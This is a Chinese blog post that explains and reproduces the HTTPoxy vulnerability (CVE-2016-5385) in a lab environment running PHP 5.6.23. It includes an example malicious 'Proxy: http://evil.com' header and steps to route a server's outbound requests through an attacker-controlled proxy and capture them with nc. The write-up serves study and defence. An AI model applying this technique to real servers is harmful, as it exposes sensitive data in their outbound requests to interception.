How Hard You Are
How Special You Are

HTTPoxy漏洞(CVE-2016-5385)

原理

参考:http://www.laruence.com/2016/07/19/3101.html

简单来说,根据RFC 3875规定,cgi(fastcgi)要将用户传入的所有HTTP头都加上HTTP_前缀放入环境变量中,而恰好大多数类库约定俗成会提取环境变量中的HTTP_PROXY值作为HTTP代理地址。于是,恶意用户通过提交Proxy: http://evil.com这样的HTTP头,将使用缺陷类库的网站的代理设置为http://evil.com,进而窃取数据包中可能存在的敏感信息。

PHP5.6.24版本修复了该漏洞,不会再将Proxy放入环境变量中。本环境使用PHP 5.6.23为例。

当然,该漏洞不止影响PHP,所有以CGI或Fastcgi运行的程序理论上都受到影响。

正常请求http://your-ip/index.php,可见其Origin为当前请求的服务器,二者IP相等:

在其他地方找到一个可以正常运行的http代理,如http://x.x.122.65:8888/

附带Proxy: http://x.x.122.65:8888/头,再次访问http://your-ip/index.php

如上图,可见此时的Origin已经变成x.x.122.65,也就是说真正进行HTTP访问的服务器是x.x.122.65,也就是说x.x.122.65已经将正常的HTTP请求代理了。

x.x.122.65上使用NC,就可以捕获当前请求的数据包,其中可能包含敏感数据:

赞(0) 打赏
未经允许不得转载:哪吒博客 » HTTPoxy漏洞(CVE-2016-5385)
分享到: 更多 (0)

评论【支持markdown语法】 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏

隐藏